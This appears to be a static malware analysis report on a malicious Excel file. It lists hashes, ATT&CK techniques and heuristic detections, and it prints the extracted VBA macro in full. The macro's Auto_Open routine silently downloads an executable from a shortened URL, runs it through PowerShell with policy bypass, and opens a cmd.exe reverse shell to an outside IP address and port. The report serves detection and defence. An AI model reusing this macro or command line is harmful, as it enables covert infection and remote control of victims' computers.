Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eb37be3567cf5c0a…

MALICIOUS

Office (OOXML)

12.1 KB Created: 2021-09-10 03:11:57 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-09-18
MD5: d55a8c280418385e744d9f08b0e99c31 SHA-1: 0492d158eb733a0cb74c5f47a176ba08838d9564 SHA-256: eb37be3567cf5c0a9846eecc220605dac5ff374a46d5e25a227a0cc57f518d2f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro Auto_Open triggers the execution of a command that uses wget to download a file from the provided URL and saves it as 'a.exe'. It then uses PowerShell to execute this downloaded file. The presence of Shell() and PowerShell references, along with the Auto_Open macro, strongly indicates a downloader or initial execution stage for a malicious payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://tinyurl.com/y88r9epk In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1505 bytes
SHA-256: 6de02077fcebec877033ad40e9a85e170b73638564afe980294a98249c350a4b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub Auto_Open()

  Shell ("C:\\Windows\\System32\\cmd.exe /c echo (wget 'https://tinyurl.com/y88r9epk' -OutFile a.exe) > b.ps1 & powershell -ExecutionPolicy ByPass -File b.ps1 & START /MIN a.exe 19.80.11.22 9090 -e cmd.exe -d & exit"), vbHidden

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13312 bytes
SHA-256: b26aa7e9c164d04f9c3976fc3c59d9837bea9bf16f8df5ac01bcc56ca5429cea

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